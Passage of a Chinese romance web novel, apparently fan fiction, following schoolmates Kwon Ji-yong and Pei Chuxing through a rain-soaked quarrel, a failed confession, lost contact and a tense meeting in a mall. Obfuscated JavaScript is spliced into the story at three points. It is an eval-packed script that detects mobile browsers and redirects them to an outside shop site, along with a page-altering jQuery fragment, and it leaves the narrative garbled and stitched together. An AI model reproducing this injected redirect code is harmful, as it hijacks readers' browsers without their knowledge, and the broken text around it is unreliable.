初星下意识地“啊”了一声,缩起肩膀,徒劳地用手挡在头顶,冰凉的雨水迅速打湿了她的头发和校服。 几乎是在同一瞬间——一件还带着熟悉体温和淡淡洗衣液清香的外套猝不及防地、有些粗鲁地罩在了她的头上,隔绝了大部分冰冷密集的雨点。 她彻底愣住了,抬起头,雨水模糊了她的视线,但她依然清晰地看到了那个做出这个动作的人。 是权至龙。 他几乎是本能地冲了过来,完成了这个刻在骨子里的保护动作。然而,做完这一切,他自己也明显地僵了一下,站在原地,雨水瞬间浇透了他只穿着白T恤的上身,T恤湿透后紧紧贴在身上,清晰地显出少年清瘦却结实的骨架轮廓。他脸上飞快地闪过一丝极度的狼狈和懊恼,嘴唇紧抿。 两人就这样突兀地站在倾盆大雨里,站在她家楼下,隔着密集的、哗哗作响的雨帘对视着。世界一片喧嚣,但他们之间却仿佛出现了一片诡异的寂静。 初星的头发和肩膀被他的外套保护得很好,只有几缕发丝湿漉漉地贴在脸颊和脖颈上。她看着眼前这个瞬间就被淋得湿透、头发狼狈地贴在额前、表情别扭又带着点自我厌弃的男孩,看着他眼底那一闪而过的、未褪尽的担忧和惊慌,心里那座因他连日冷漠而筑起的冰封堤坝,被猛地冲开了一道裂口。 雨水顺着至龙的发梢、鼻梁和紧抿的下颌线不断滴落,他的眼神复杂地交织着——有未褪尽的、本能流露出的担忧,有被自己这“不争气”的举动彻底出卖的懊恼和羞愤,还有这些天来积累的所有冰冷、疲惫和深深的委屈。 初星像是被什么东西狠狠地揪了一把,酸涩感迅速蔓延开来,冲垮了所有的犹豫和委屈。 在至龙别开视线,仿佛无法再承受这种无声的对视,打算转身冲进雨里直接离开时—— 初星用尽了力气,一把死死地抓住了他湿漉漉、冰凉的手腕! 权至龙浑身剧烈地一颤,脚步彻底顿住,他没有回头,只留下一个被暴雨淋得透湿的、脊背僵硬挺直的、充满了抗拒和挣扎的背影。 初星的声音被哗啦啦的雨声和蒙在头上的、他的外套所裹挟,显得有些发闷,却尖锐地穿透喧嚣的雨幕,砸向他的后背: “权至龙!” “你还要这样到什么时候?!” 她的声音里没有了之前的试探和小心翼翼,只剩下积压了多日的的不满、委屈、一种被冷漠对待的愤怒,以及一丝清晰可辨的、被雨水掩盖不住的哭腔。 权至龙的背影僵硬得像一块被雨水不断冲刷的岩石。雨水分明是冰冷刺骨的,但被她死死抓住的那片手腕皮肤,却像是被点燃了一样,烫得惊人。 他猛地转过身!动作大得溅起一片水花。 头发湿漉漉地紧贴在他额前,雨水不断滑落。他的眼睛死死地看着她,那双总是盛满笑意或热情的眼睛,此刻里面翻涌着这些天所有压抑着的、几乎要将他淹没的情绪——委屈、愤怒、嫉妒和深深的困惑。 “那我该怎么样?!”他的声音被巨大的雨声压迫着,却异常清晰,“像以前一样,围着你转,假装什么都看不见?假装什么都没发生?还是你告诉我,裴初星,我到底算什么?!”他的质问像一把刀子,剖开了两人之间所有伪装的平静,“你告诉我啊!” 初星看着他被雨水冲刷得苍白的脸,看着他通红的眼眶里毫不掩饰的难过和痛苦,那种恐慌感瞬间攫住了她,比冰冷的雨水更让她感到寒冷。 “至龙……”她的声音软了下来,被雨水和泪水浸透,带着一种湿漉漉的、近乎卑微的恳求,“我们不是……最好的朋友吗?” 她继续说了下去,像是抓住最后一根救命稻草:“你会……陪在我身边的吧?” 这话瞬间刺破了权至龙努力筑起的所有冰冷外壳和愤怒的伪装。他看着她被雨水打湿的、几缕发丝可怜地贴在脸颊和脖颈上,看着她仰起脸、那双总是清冷的眼睛里此刻盛满了前所未有的脆弱和哀求望着自己的样子,所有准备好的、决绝的、想要彻底划清界限从此远离的话,死死地堵在了喉咙里,一个字也吐不出来。 一股几乎要将他击垮的无力感和心酸汹涌地涌了上来,淹没了所有的愤怒和委屈。 他还能怎么样? 拒绝她吗?看着她眼里的光因为自己的话彻底熄灭黯淡下去?然后呢?自己这些天所有的痛苦、挣扎、自我折磨和冰冷的坚持,不就是为了能像以前一样,理所当然地、名正言顺地站在她身边吗?不就是为了不失去她吗? 可是……“朋友”?“陪在身边”? 这两个词从她口中说出来,在那一刻听起来是那么的讽刺和残忍,他想要的,从来就不只是“朋友”而已。但看着她,他发现自己连拒绝这点卑微请求、将她推开的力气都没有了。 他沉默了,雨水毫不留情地继续淋在他身上,让他看起来格外狼狈,像一只被遗弃在雨中的、无家可归的小狗。雨水顺着他的脸颊流下,分不清其中是否混杂了别的什么。 最终,所有的情绪似乎都化成了一声微不可闻的、沉重到极点的叹息,彻底融化在磅礴的雨声里。 他眼里的尖锐和质问慢慢褪去,取而代之的是一种深深的、几乎要将人淹没的疲惫和…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我知道……我刚才那样说……很坏……特别坏。”她的声音颤抖得厉害,几乎语无伦次,“我明明……明明好像知道你为什么生气,为什么难过……我知道我让你不舒服了,让你难过了……可我还是要你留在我身边……我……”她吸了吸鼻子,努力想把不断上涌的眼泪憋回去,却控制不住声音里的哭腔和深深的迷茫: “我说我们是朋友……是假的……我知道你不只想做朋友……我也……我也不知道我现在是怎么想的……我很混乱……” 她抬起头,脸上湿漉漉的,雨水和泪水混在一起,让她看起来狼狈又真诚,“我看到你和别人说话我也会不开心,看到你不再理我,我这里……”她用手紧紧按着自己的心口,校服布料被揪得皱成一团,“……这里就好闷,好难受,比做不出最难的数学题还要难受一千倍,一万倍……” 她看着他那双深沉的、映着路灯微光的眼睛,眼神里充满了无助和最深切的歉意:“对不起,至龙……我好像什么都明白一点,但又没完全想好……我就自私地要求你像以前一样……” “这样的我……是不是很讨厌?很让你失望?”她说完,像是耗尽了所有的勇气和力气,重新深深地低下头,肩膀微微颤抖着。 权至龙彻底愣住了, 原来,她并非毫无感觉。 原来,她也会因为他而心情不好,会感到“闷”和“难受”。 原来,她也在为此困扰,并非全然置身事外。 那股积压多日的委屈和愤怒无奈,被她的眼泪和话语所抚平、冲刷。取而代之的,是一种更加复杂难言的心情以及……一丝微弱的、不该在此刻冒头的、名为“希望”的火苗,在他冰冷疲惫的心底重新闪烁了一下。 他沉默了很久很久,久到初星以为他不会再开口,准备接受他最终的、彻底的冷漠时,他才终于用一种极其沙哑的、仿佛被雨水泡透了的嗓音,几乎叹息般地说: “……没有讨厌。” 他停顿了一下,喉结艰难地滚动着,似乎在下很大的决心。他的目光望向远处被雨水洗刷得干干净净的梧桐树叶,声音低得像是在自言自语,却又都清晰地、重重地敲在初星的心上: “只是……” “下次……别再说‘朋友’了。” 他的声音里带着一种深深的疲惫和一丝请求。 “……也别再说……让我陪在你身边这种话……” “……除非,”他顿了顿,终于转回视线,目光沉重地、认真地看着她,那眼神里却多了一种沉重的、带着未愈合伤口的认真和界限,“你想好了。” 他说完,深深地看了她一眼,随后转身,步入了渐渐稀疏的雨丝中,没有再回头。 22. 错位的齿轮 自那场雨夜中的剖白与休战之后,权至龙与初星之间的关系,进入了一个被薄冰覆盖的湖面。表面平静,底下却暗流涌动,每一步都需小心翼翼,维持着一种摇摇欲坠的平衡。 权至龙收敛了所有外露的冷硬和尖锐的棱角。他不再用沉默的脊背或提前离开的背影来表达不满,但那份曾经炽热如阳光、无时无刻不围绕在初星身边的陪伴,也悄然改变了形态。他不再像过去那样,每天雷打不动、早早地守在初星的学校门口,带着毫不掩饰的期待翘首以盼。他将那份守护,从“明目张胆的陪伴”化作了“悄无声息的关注”。 他可能会在周末的午后,抱着篮球,看似随意地晃荡到她家附近那个有秋千的小公园。如果“恰好”遇到她出来散步或买东西,他会停下脚步,隔着几步远的距离,简单地问候两句“吃过了吗?”、“天气不错”,随后便点点头离开,不再有多余的停留和纠缠。他会在社交平台上关注她的每一条动态,偶尔在她分享一首歌或一张天空照片时,默默点下一个赞,像一片羽毛轻轻落下,不留痕迹,很少留下评论。他记得她很久以前随口提过一句,想要一套绝版多年的漫画单行本。他托了不止一个朋友,辗转了好几个二手书市和网络论坛,花了不小的代价才凑齐。又在一个平常的放学后,他找了个“朋友多买了一套”的借口,塞到她手里,轻描淡写,仿佛只是处理一件多余的物品。 初星清晰地感受到了这种变化。至龙不再提起那场雨夜的对话,但“朋友”这个词,似乎成了他们之间一个心照不宣、谁都不会再去触碰的禁区。她也在努力地、混乱地整理着自己如同乱麻般的心情。那份因李叙夏的靠近而产生的、带着新鲜感的心动涟漪尚未完全平息,而另一份因权至龙的沉默和疏离而起的、闷闷的、堵堵的、类似失落和不安的感觉,沉甸甸地压在心口。 这脆弱的平衡,却被一个意外听到的消息彻底打破,将权至龙心中所有强压下的恐慌和紧迫感瞬间引爆。 在喧闹的生日聚会上。临近尾声,空气里弥漫着蛋糕的甜腻和碳酸饮料的气泡声。至龙有些气闷,独自走到相对安静的露台透气。微凉的风拂过脸颊,却吹不散他心头的滞闷。这时,隔着半开的玻璃门,里面传来几个男生带着醉意和起哄的谈笑声,其中有一个声音,他隐约记得是属于和李叙夏同校的一个男生。 “……真的假的?李叙夏那小子终于要行动了?”一个声音拔高,带着兴奋。 “千真万确!他亲口跟我说的,准备了下周末吧?好像已经约了裴初星去市图书馆自习,之后就说……”后面具体要“说”什么,被一阵更加响亮的、心照不宣的起哄声和口哨声彻底淹没。 但“初星”、“李叙夏”、“下周末”、“行动”这几个关键词,像淬了冰的锥子,狠狠地扎进了权至龙的耳朵里,瞬间冻结了他的血液。 所有精心维持的冷静、所有克制隐忍的计划,在这一刻被炸得粉碎!他不能再等了!一秒钟都不能!他必须在她听到别人的告白之前,把自己的心意,最直接、最郑重地告诉她!他不能再躲在“朋友”的身份后面,他必须去争取! 隔天权至龙逃了下午的主课。他像一头被逼入绝境的困兽,胸膛里燃烧着孤注一掷的火焰。他跑遍了市中心几乎所有的花店,挑剔地比较着玫瑰的色泽、新鲜度和花苞的大小,最终精心挑选了一束最鲜艳、最饱满、象征着最炽热爱意的红玫瑰。他回家换上了自己最正式、平时舍不得穿的那件熨烫平整的白衬衫和版型最好的牛仔裤,对着镜子反复整理着头发,心脏在胸腔里疯狂地擂鼓,几乎要撞破肋骨跳出来。 他在最初的地方,那个只属于他们两个人记忆起点的地方——初星家楼下——等她。 天空从午后就开始阴沉下来,乌云低垂,空气闷热得让人喘不过气,一场暴雨正在酝酿。权至龙从下午三点多就开始等,手里紧紧攥着那束用精美玻璃纸包裹的红玫瑰,娇嫩的花瓣边缘因为他的紧张而被捏得有些发皱,手心里全是湿冷的汗。 时间在焦灼的等待中一分一秒地爬行。放学的时间过了,背着书包的学生们嬉笑着从身边经过。天光彻底暗透,路灯一盏接一盏地亮起,昏黄的光晕吸引着无数蚊虫围绕着他和那束显眼的花飞舞。小区里的住户们下班归来,投来好奇、探究甚至带着些许善意的笑意目光,打量着这个在楼下站了许久、捧着玫瑰花、神情紧张又执拗的少年。 他一遍遍拨打初星的手机,听筒里传来的始终是冰冷而规律的“您拨打的电话暂时无人接听”。他发了数条信息,从“在哪儿?”到“到家了吗?”再到最后几乎带着恳求的“我在楼下等你,有很重要的事”,所有的消息都如同石沉大海,没有任何回音。他内心反复演练了无数遍的表白词,在漫长而孤独的等待中,被不确定和恐慌反复咀嚼,变得越来越苍白,越来越缺乏底气。 “轰隆——!”积蓄了一整天的闷雷终于炸响,紧接着,豆大的雨点毫无怜悯地、噼里啪啦地砸了下来,一瞬间变成了倾盆暴雨。 权至龙转过身,用整个背部和大半个身体护住怀里的玫瑰花,徒劳地想为它们挡住这狂暴的风雨。雨水像冰冷的鞭子抽打在他身上,将他浇得透湿,白衬衫紧紧贴在皮肤上,冰冷刺骨。头发狼狈地贴在额前,雨水模糊了他的视线。 他就这样在暴雨里站着,固执地、像一座绝望的雕像,仰头望着初星家那个熟悉的窗口。一小时,两小时……窗内始终一片漆黑,没有一丝光亮。那个他想象了无数次、在她看到他和她怀里的花时,或惊讶、或羞涩、或无奈、或感动地飞奔下来的身影,始终没有出现。 腿站得麻木失去知觉,身体因为寒冷和疲惫开始不受控制地发抖。怀里的玫瑰花经过风雨无情的摧残,娇艳的花瓣零落凋谢,鲜红的颜色被雨水浸泡得发暗、发黑,和他一样,变得狼狈不堪,失去了所有光彩。 从白天到黑夜,在冰冷的暴雨中站立了将近五个小时。 那扇窗,始终没有亮起灯。那个他倾注了全部勇气和希望等待的人,始终没有回来。 一个冰冷而绝望的念头缠住了他的心脏:她知道了?她是故意不回来的?她选择了用这种最彻底、最无声的方式,回避他,回答了他这鼓足所有勇气、却显得如此可笑、可悲的冲动表白? 原来,他所有的等待、所有的炽热心意、所有的孤注一掷,最终换来的不是答案,而是连面都不愿见的、彻底的、冰冷的拒绝。她甚至不屑于给他一个亲口的拒绝。 怀里的玫瑰花终于彻底被雨水打烂,花瓣混着泥水,一片片掉落在他湿透的鞋边,权至龙最后看了一眼那扇始终漆黑的窗口,雨水和某种滚烫的、无法抑制的液体一起从脸上疯狂滑落,与冰冷的雨水混在一起,分不清彼此。 他慢慢地、如同被抽空了所有的灵魂和力气,僵硬地转过身,踉跄地离开了这个他曾经无比熟悉、寄托了所有爱恋、此刻却觉得冰冷刺骨的地方。 他不知道自己是怎样拖着灌了铅的双腿回到那个空无一人的家的。父母出差,冰冷的空气和窗外依旧未停的、淅淅沥沥的雨声将他紧紧包裹。他浑身上下湿透,昂贵的衬衫皱巴巴地紧贴着皮肤,泥水从裤管不断滴落,在光洁的地板上留下肮脏狼狈的水痕。那束彻底凋零腐烂的玫瑰,被他无意识地、像丢弃一件令人厌恶的垃圾般,扔在了门口的垃圾桶边,那团曾经鲜艳欲滴的红,此刻只剩下一片死寂的、令人作呕的暗褐。 他感觉不到冷,也感觉不到累,只是一种巨大的、无边无际的空洞和麻木。心脏的位置像是被整个挖走了,只剩下呼啸而过的、冰冷的风声和雨声。随后机械地脱掉身上所有湿透冰冷的衣物,胡乱扔在地上,走进浴室,打开花洒,热水冲刷在冰冷的皮肤上,升起氤氲的白雾,他却依然觉得刺骨的寒意从身体内部一阵阵涌上来,控制不住地浑身剧烈颤抖,牙关格格作响。 至龙挣扎着从药箱里翻出电子体温计,塞到腋下。滴声后,屏幕显示:38.5度。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680912|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >世界开始天旋地转,头痛欲裂。但高烧带来的晕眩中,他的神志却有一种被极致痛苦淬炼过的、可怕的清醒。 他摇摇晃晃地爬起来,走到墙角,拿起那把角落的吉他。指尖因为高烧而虚弱无力,按在冰冷的琴弦上有些发颤,几乎按不稳和弦。低下头,滚烫的额角贴紧了冰凉的木质琴身,寻求着一点可怜的物理降温。 然后,第一个和弦响起,沉闷、滞涩、喑哑,像他此刻死水般的心境。 没有刻意的构思,没有华丽的辞藻,一些破碎的、带着血泪的词句和旋律,就那样不受控制地从他干涩刺痛喉咙和颤抖无力的指尖流淌出来。旋律压抑而悲伤,带着雨水的潮湿冰冷和夜晚无尽的绝望。 他唱得断断续续,声音沙哑不堪,有时甚至只是几个无意义的、带着浓重鼻音和哽咽的音节,伴随着无法抑制的、低低的咳嗽。 “今天……比其他日子……更伤心……” “你有男友……我是知道的……” “玩我的……没关系……” “能像这样……见到你……我就知足……” “12月13日……你的生日……” “this love……再也不需要爱情……” 高烧让他的意识在模糊与清晰的刀锋上徘徊,但那份尖锐的、几乎要将人撕裂的痛楚却无比清晰,尽数化入了指尖笨拙的拨弄和沙哑低沉的吟唱中。 他就这样抱着吉他,在空荡冰冷的房间里,在病痛与心碎的双重折磨下,写下了一首浸满了雨水、泪水、绝望的歌。 与此同时,城市的另一端。 初星正站在新家一片狼藉、堆满未开封纸箱的客厅中央,尘土飞扬。忙碌了一整天,她累得几乎直不起腰,新环境带来的陌生感和忙乱让她心烦意乱。但比身体疲惫更清晰的,是心里那种莫名的不安和烦躁,总觉得有什么重要的东西被遗忘了,或者正在失去。 她从口袋里掏出手机,想看看时间,按了按开机键,屏幕一片漆黑,没有任何反应。又用力按了几次,甚至拍了拍它,手机依旧死气沉沉,像一块冰冷的砖头。 “怎么回事?”她嘀咕着,心里一沉。连忙找来充电器连接电源,指示灯不亮,尝试了各种方法——毫无作用。 “哦妈!我手机好像坏了!开不了机了!”初星朝着正在厨房收拾餐具的妈妈喊道,语气里带着一丝自己都没察觉的焦急和慌乱。 “哎呀,怎么偏偏这时候坏了?明天一早找个维修店去看看吧,今天太晚了,人家都下班了。”妈妈的声音从厨房传来,带着忙碌中的安抚。 初星懊恼地放下彻底变成砖块的手机,那种心口闷闷的、发慌的感觉非但没有减轻,反而更加清晰、强烈了。是因为手机坏了吗?好像不全是。是一种没由来的、强烈的心慌意乱,她走到新房间的窗边,窗外是全然陌生的街道和霓虹夜景,不是她熟悉的、能看到那个离开的背影的视角。 她想到了至龙。 他今天……会不会还在那个公园徘徊?虽然前几天她心绪不宁,好像隐约跟他提过一句“家里最近有点事,可能会比较忙”,但根本没来得及详细说明是搬家,更没说会暂时联系不上。他等不到她,联系不上她,会怎么想?会生气吗?还是会担心?他那种执着又敏感的性子…… 强烈的冲动让她想立刻用家里的座机给他打个电话报平安,她冲到客厅,拿起电话听筒,却僵住了——她发现,自己根本不记得他的手机号码! 无力感和失落感紧紧包裹了她。在新学校、新环境里,她还没有熟悉起来的同学和朋友,唯一熟悉的、此刻迫切想要联系、想要解释的人,却因为一个意外坏掉的手机和这突如其来的、拉远的物理距离,变得无法触及,音讯全无。 至龙…… 她心里默默念着这个名字,徒劳地抚摸着那台无法开机的、冰冷的手机,对着完全陌生的、漆黑的夜空,感受着那份莫名却真实的恐慌,无所适从。 23. 失联与沉默 手机从维修店取回,重新亮起屏幕的那一刻,初星几乎是屏住呼吸,手指带着一丝不易颤抖,迫不及待地点开了那个联系人——权至龙。 她深吸一口气,指尖在冰冷的屏幕上飞快地敲打,编辑了很长很长的一段信息。她详细地解释了突如其来的搬家、新家的混乱、手机和卡意外损坏、以及无法开机的窘境。文字密密麻麻,几乎占满了整个输入框。 然而,当她的拇指悬停在那个绿色的“发送”键上方时,却像被冻住了一样,迟迟按不下去。 犹豫和心慌攫住了她。直接说这些,他会相信吗?听起来会不会像精心编造的、苍白无力的借口?他还在生气吗? 最终,她像是泄了气一般,手指重重地划过屏幕,将那段长长的、充满解释的文字全部删除。空白的输入框,像她此刻茫然的心情。 她重新开始打字,这一次,简短了许多,语气也刻意调整得轻松平常,仿佛只是隔了一段时间后的寻常寒暄: 「至龙,我前几天手机坏了,刚修好。明洞附近新开了家炒冰店,听说很好吃,有空一起去吗?」 她反复看了几遍这行字,试图从中剔除任何可能引起他反感的情绪,只留下一个简单的、不带压力的邀请。 消息显示“已发送”的瞬间,她的心也跟着提了起来。 随后,就是漫长的、令人焦灼的等待。 一分钟,十分钟,一小时,一天……时间在寂静中缓慢爬行。那个熟悉的头像始终安静地躺在列表最上方,没有任何回复的提示。 初星的心,随着时间一分一秒的流逝,一点点沉下去,沉入一片冰冷的真空。她不死心,尝试直接拨通他的电话,将听筒紧紧贴在耳边,紧张地等待着。听筒里传来的,始终是那个冰冷、机械、毫无感情的女声:“您所拨打的用户暂时无法接通……” 暑假,就在这种令人窒息的失联中,正式拉开了帷幕。 没有了一起放学时那条洒满夕阳的小路,没有了那个总会准时出现在巷口、脸上带着灿烂笑容用力挥手的身影,甚至连手机里那个曾经无比活跃、会发来各种琐碎分享和“轰炸”式关心的联系人,都彻底陷入了死寂。初星被困在新家所在的陌生区域,对权至龙的一切动向都无从得知。 初星不甘心地问过几个或许和至龙还有些间接联系的朋友。但大家大多和至龙不同校,暑假里各自忙碌,几乎没什么交集,反馈回来的信息模糊而稀少:“好像和几个朋友出去玩过吧?”“具体在哪不清楚诶……” 这些零碎的消息,非但不能缓解她的焦虑,反而更像是一根根细针,扎在她本就悬着的心上。 她找不到他。彻底地失去了他的消息。 失去所有联系的感觉让她整个人都心神不宁,坐立难安。她无数次拿起手机,点亮屏幕,手指习惯性地滑向那个短信框,最后一条信息依旧是她发出的、孤零零的邀请,下面是漫长空白。她看着窗外陌生的夏日风景,阳光炽烈,蝉鸣聒噪,心里那份空落落的情绪变得越来越清晰,越来越沉重。 而权至龙在高烧退去、身体逐渐康复后,像是彻底换了一个人。 他绝口不再提起“初星”这个名字,开始有意无意地避开一切可能听到她消息的场合。他将所有的时间和精力投入到音乐和与朋友们的厮混中。打球打到精疲力尽,打游戏到深夜,参加各种喧闹的聚会,在练习室里挥汗如雨地练舞,试图用无尽的喧嚣和疲惫填满每一分每一秒,让自己没有一丝空隙去回想那些事,去感受那份噬心的疼痛。 但所有熟悉他的人都清晰地感觉到,他不一样了。那个阳光灿烂、话多有点臭屁、永远充满活力的权至龙不见了,取而代之的是一个沉默了许多、笑容变得勉强而短暂、眼底时常带着一丝挥之不去的阴郁和疲惫的至龙。 深夜和几个关系最铁的朋友在烟雾缭绕的烤肉店里聚餐。油脂滴在炭火上发出滋滋的声响,朋友们吵吵闹闹,互相抢着肉,气氛热烈。唯独权至龙安静地坐在角落,手里拿着夹子,有一下没一下地翻动着烤盘上已经有些焦糊的肉片,眼神空洞,明显心不在焉。 和他从小玩到大的朋友盯着他看了好一会儿,忍不住拿起烧酒杯重重地顿在桌上,发出清脆的响声,带着恨铁不成钢的焦躁: “呀!权至龙!你还要这副死样子到什么时候?!不就是一个裴初星吗?啊?学校里漂亮女生多得是!转个身就能遇到!你别他妈在一棵树上吊死啊!看看你现在像个什么样子!” 至龙翻肉的动作猛地顿住,夹子停在半空,油脂滴落,溅起一小串油星。他眼皮低垂,长长的睫毛掩盖了所有情绪,没有抬头,也没有任何回应,仿佛根本没听到。 朋友见他这副油盐不进的样子,火气更旺,声音拔高了几分,几乎是在吼:“真的,哥!我说认真的!她裴初星不就是长得漂亮吗?值得你这样魂不守舍、半死不活的?漂亮能当饭吃啊?!你清醒一点行不行!” 旁边另一个朋友也小心翼翼地低声附和,试图帮腔:“就是啊至龙……看她那样子,长得那么漂亮,说不定心思也多得很……你别太……” “她不一样。” 权至龙突然开口,打断了他朋友的话。声音带着一种异常沉静、不容置疑的力量,瞬间压过了烤肉的滋滋声和朋友们嘈杂的议论。 所有人都愣住了,齐刷刷地看向他。 至龙缓缓抬起头,目光却没有聚焦在任何人身上,只是虚虚地投向烤盘上方不断升腾、扭曲的热气。他顿了顿,好像每个字都需要耗费极大的力气,声音低沉却异常清晰,一字一句,像是在捍卫什么不容玷污的、刻在心底的信仰: “她不是你们想的那样。” “初星她……”他轻轻吸了口气,名字从唇齿间吐出时,带着难以言喻的珍视和涩意,“……或许在很多人看来,只是漂亮。” 他摇了摇头,仿佛“漂亮”这个肤浅的词,根本不足以形容她万分之一的美好。 “但她比谁都单纯,比谁都善良。是那种……看到路边的小猫被雨淋得瑟瑟发抖,会毫不犹豫地把自己的伞整个留给它,自己却傻乎乎地、冒着大雨跑回家的……那种孩子。” 他的眼前又清晰地浮现出那个女孩有点笨拙却无比真诚的样子,嘴角不自觉地带起一丝极淡、却无比温柔的弧度,但随即那抹微光便被失落和酸楚彻底淹没,消失无踪。 “她会因为一道解不出的数学题,较劲半天,眉头皱得紧紧的,直到完全弄懂才肯罢休;她会因为别人一句无心的、真诚的夸奖,眼睛亮起来,偷偷开心很久;她会认真记得别人随口提过的一句喜欢、一个愿望,然后在某个不经意的时候,默默实现它……” 他的声音渐渐低下去,带着无尽的不解和浓得化不开的难过,“她只是……可能还没完全想好……或者……是我哪里做得不够好……让她……” 朋友们都彻底沉默了。烤肉店里喧嚣的背景音仿佛被隔绝开来。他们看着至龙这种深陷其中的维护,比任何愤怒的控诉都更让人无力。 之前那个劝他“清醒”的朋友张了张嘴,所有准备好的、更激烈的话都堵在了喉咙里,化作叹息。他举起酒杯,用力地碰了碰至龙面前那杯烧酒杯子,缓和了下来: “行了行了……知道了……她全世界最好,最特别,行了吧?我错了,我不该那么说……喝酒!喝酒!今天不醉不归!” 权至龙没有再解释,也没有看朋友,只是默默地举起杯子,将杯中冰凉的、辛辣的液体一饮而尽。酒精划过喉咙,带来灼烧感,却丝毫冲不散心头的苦涩和沉闷。 朋友的劝诫非但没能让他清醒,反而像一面镜子,让他更深刻地窥见并确认了自己的内心——那个女孩在他心里,早已超越了“漂亮”的范畴。她的一切,美好的,迷茫的,甚至带着残忍的沉默,都构成了那个独一无二、让他无法自拔、深深烙印在灵魂里的裴初星。 而这个认知,让这个见不到她、得不到她任何音讯的假期,变得更加漫长而煎熬。他痛苦于她的“拒绝”和彻底的消失,却又无法控制地在心里为她辩护,思念着那个他眼中“比谁都单纯善良”的女孩。 他不再试图用喧嚣填满所有时间,那样只会让孤独感在热闹散场后更加刺骨。他常常一个人待在房间,抱着那把吉他,反复修改、弹唱那首在病中写下的歌。旋律依旧悲伤,但歌词里最初那些尖锐的自嘲和怨恨渐渐褪去,取而代之的是更深的、无可奈何的眷恋、失落以及固执的温柔。 偶尔,在深夜,他会下意识地、近乎麻木地翻看手机。屏幕亮起,幽光照亮他疲惫的脸,又很快暗下。没有她的任何消息。那个灰色的信息框,像一道刻在心头、无法愈合的伤口,静静地躺在列表最上方,提醒着他那个暴雨之夜。他有时会猜想她此刻在做什么,是不是……和李叙夏在一起?这个念头又立刻被他用更大的力气强行压下去,伴随着一阵强烈的自我厌恶——他讨厌这样不受控制地、怀着恶意去揣测她的自己。 暑假的尾声,空气里依旧弥漫着灼人而粘稠的热浪,仿佛要将最后一点假期时光蒸发殆尽。 初星陪着妈妈在新家附近的大型商场里采购新学期的文具和用品。她心不在焉地穿梭在熙熙攘攘、冷气十足的人群中,目光掠过一个个琳琅满目的橱窗,却什么都看不进去,像个游魂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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初星的脑海里瞬间闪过他整个暑假冰冷的沉默、那条石沉大海的消息、那个永远无法接通的电话提示音。一个清晰而尖锐的念头,带着冰冷的绝望,刺入她的脑海:他是故意的。他切断了所有联系,他不想再理她了。 而权至龙的眼前,却不受控制地浮现出李叙夏的身影,耳边又响起了聚会露台上那些模糊却刺耳的话语,想起那个暴雨之夜自己孤注一掷的可笑等待和最后狼狈不堪的逃离。她一个暑假的杳无音信,不就是最明确、最残忍的答案吗?她现在这样看着自己,眼神里的急切,是惊讶于这场偶遇?还是……仅仅出于一种猝不及防的尴尬和想要尽快结束的疏离? 他想开口,喉咙却像是被滚烫的沙砾死死堵住,干涩发紧,发不出任何声音。残存的自尊心,以及在朋友们面前强撑的、不愿流露脆弱的骄傲,让他死死地抿住了嘴唇,将几乎要冲口而出的话死死咽了回去。 初星看着他紧绷的下颌线、紧抿的嘴唇和那双在帽檐阴影下看不出任何情绪、有些抗拒的眼睛,所有在心底排练了无数遍的解释、问候、一点点委屈的控诉,全都哽在了喉咙最深处。他果然……不想看见自己。自己的出现,对他而言,只是一种打扰。 这场无声的对峙,只持续了短短几秒,却耗尽了彼此所有的力气。 最终,是权至龙先挪开了视线。他猛地将头转向另一边,帽檐彻底遮住了他脸上的情绪。随后,他下意识地对着旁边还在叽叽喳喳讨论接下来去哪玩的朋友们,快速说了一句:“……走了。” 话音未落,他已率先迈开脚步,低着头,快步从僵在原地的初星身边擦肩而过,没有回头,没有一丝一毫的停留,迅速被人潮吞没了背影。 初星僵在原地,眼睁睁看着他那近乎决绝的、带着明显回避意味的背影,消失在熙攘的人群中。刚才他迅速移开、不愿多停留一秒的目光,和毫不犹豫离开的背影,像一盆混合着冰碴的水,彻底浇熄了她心中残存的侥幸和希望。 她不再尝试给他发任何信息,也不再拨打那个永远不会接通的号码。手机屏幕暗下去,也映照着她彻底沉寂下去的心。她把翻涌的情绪都死死地压在心里,帮妈妈收拾新家,预习新学期的功课,努力表现得一切如常。也开始努力地说服自己接受这个结果。也许朋友就是这样,走着走着,因为距离,因为时间,因为有了新的圈子,自然而然地就散了。也许……他有了新的、更志同道合的朋友,或者……喜欢的女孩。 而另一边的权至龙,情况并没有因为这次偶遇而好转,反而变得更糟。 商场里初星那个瞬间的、带着急切和……他似乎捕捉到了一丝委屈的眼神,烙印在了他的脑海里,挥之不去。他一遍遍地在夜深人静时反复回味、剖析那个眼神。一会儿觉得那是不是有什么隐情?她是不是想说什么?一会儿又立刻被“她早已和别人在一起,那个眼神只是偶遇的尴尬”的念头狠狠打压下去,陷入更深的痛苦和自我怀疑。 他的痛苦无处发泄,几乎全部倾注到了音乐里。那首原本基调悲伤的歌,被他反复地、近乎偏执地修改,旋律变得更加复杂、富有层次和强烈的张力,歌词里的情绪也从失落和心碎,融入了更多的自嘲、不甘、挣扎,以及一种深埋的、无论如何也无法熄灭的渴望。 24. 无声的战争 那次在商场对视之后,初星确认权至龙确实是故意切断了所有与她的联系,并且明确地不想再见到。回到新家,空气中弥漫着一种灰暗而压抑的基调,那份无处排解的委屈和被人彻底回避的难堪笼罩着她。 幸好,珍雅也因为家庭原因,恰好转学到了同一所新学校。这份意外之喜,给了初星一丝难得的慰藉和支撑。 